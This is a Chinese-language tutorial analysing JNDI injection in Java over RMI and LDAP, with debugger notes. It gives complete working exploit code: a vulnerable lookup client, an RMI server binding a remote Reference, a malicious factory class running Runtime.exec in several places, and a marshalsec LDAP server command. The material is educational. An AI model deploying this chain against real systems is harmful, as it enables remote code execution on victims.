JNDI注入原理分析(RMI、JNDI)
简介:
- RMI (JAVA远程方法调用)
- LDAP (轻量级目录访问协议)
- CORBA (公共对象请求代理体系结构)
- DNS (域名服务)
JDNI注入原理:
- JDK 5U45、6U45、7u21、8u121 开始 java.rmi.server.useCodebaseOnly 默认配置为true
- JDK 6u132、7u122、8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false,即不允许RMI远程地址加载objectfactory类
- JDK 11.0.1、8u191、7u201、6u211 com.sun.jndi.ldap.object.trustURLCodebase 默认为false

JNDI-RMI示例:
import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; public class Client { public static void main(String[] args) throws NamingException { String uri = "rmi://127.0.0.1:1098/aaa"; //rmi //String uri = "ldap://127.0.0.1:1389/aaa"; //ldap Context ctx = new InitialContext(); ctx.lookup(uri);// } }
Server.java
import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.Naming; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class Server { public static void main(String[] args) throws Exception { String className = "Calc"; //类名 String url = "http://127.0.0.1:8000/";//远程类地址 Registry registry = LocateRegistry.createRegistry(1098);//rmi监听端口 Reference reference = new Reference(className, className, url);//按照lookup需要一个Reference类 ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.rebind("aaa", referenceWrapper);//绑定一个stub System.out.println("rmi://127.0.0.1/hacked is working..."); } }
Calc.java(恶意类)
import java.lang.Runtime; import java.lang.Process; import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable; public class Calc implements ObjectFactory { { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"calc"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"calc"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { e.printStackTrace(); } } public Calc() throws Exception { Runtime rt = Runtime.getRuntime(); String[] commands = {"calc"}; Process pc = rt.exec(commands); pc.waitFor(); } @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { Runtime rt = Runtime.getRuntime(); String[] commands = {"calc"}; Process pc = rt.exec(commands); pc.waitFor(); return null; } }
DEBUG分析:
在lookup处打下断点,进行跟进分析:
跟进后做了一些的判断,有个decodeObject()传入的参数是我们控制的参数
判断是否是Reference,下面这个getb
这里来到处理的核心代码:在NamingManager#getObjectInstance中
在NamingManager#getObjectFactoryFromReference中,会去本地找,未找到再去远程加载:(这里LoadClass就是加载Class,会调用该对象的静态方法)
静态方法调用的计算器:
然后我们看到clas.newInstance方法(该方法作用示例化一个对象,并且加载该类的public无参构造方法),代码块和无参构造方法Calc弹出:
调用远程恶意加载类的getObjectInstance:
JNDI-LDAP:
原理:
演示:
服务端:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:80/#Calc
受害端:
import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; public class Client { public static void main(String[] args) throws NamingException { String uri = "ldap://127.0.0.1:1389/Calc"; Context ctx = new InitialContext(); ctx.lookup(uri); } }
恶意类:和上面的是一样的Calc.java
最后还是4个计算器被弹出
总结:
1.代码块,静态方法、构造方法、getObjectInstance(),都会被执行。
2.jndi攻击听起来抽象,就这理解为可以远程加载我们的恶意类;加载顺序是先判断是否有本地存在调用的类,不存在就去远程访问。
3.编译恶意类时不要有包名,否则报错。
4.javac版本和受害机器版本最好是相同Java版本,反正现在都用工具自动生成这个问题不大。()
- class.forname 、loadclass会触发类的静态方法
- class.newInstance 会触发远程类的代码块和无参构造方法
- 最后factory调用了getObjectInstance()方法(factory就是我们的可控类)
参考链接:
https://www.cnblogs.com/yyhuni/p/15083613.html
http://blog.topsec.com.cn/java-jndi%E6%B3%A8%E5%85%A5%E7%9F%A5%E8%AF%86%E8%AF%A6%E8%A7%A3/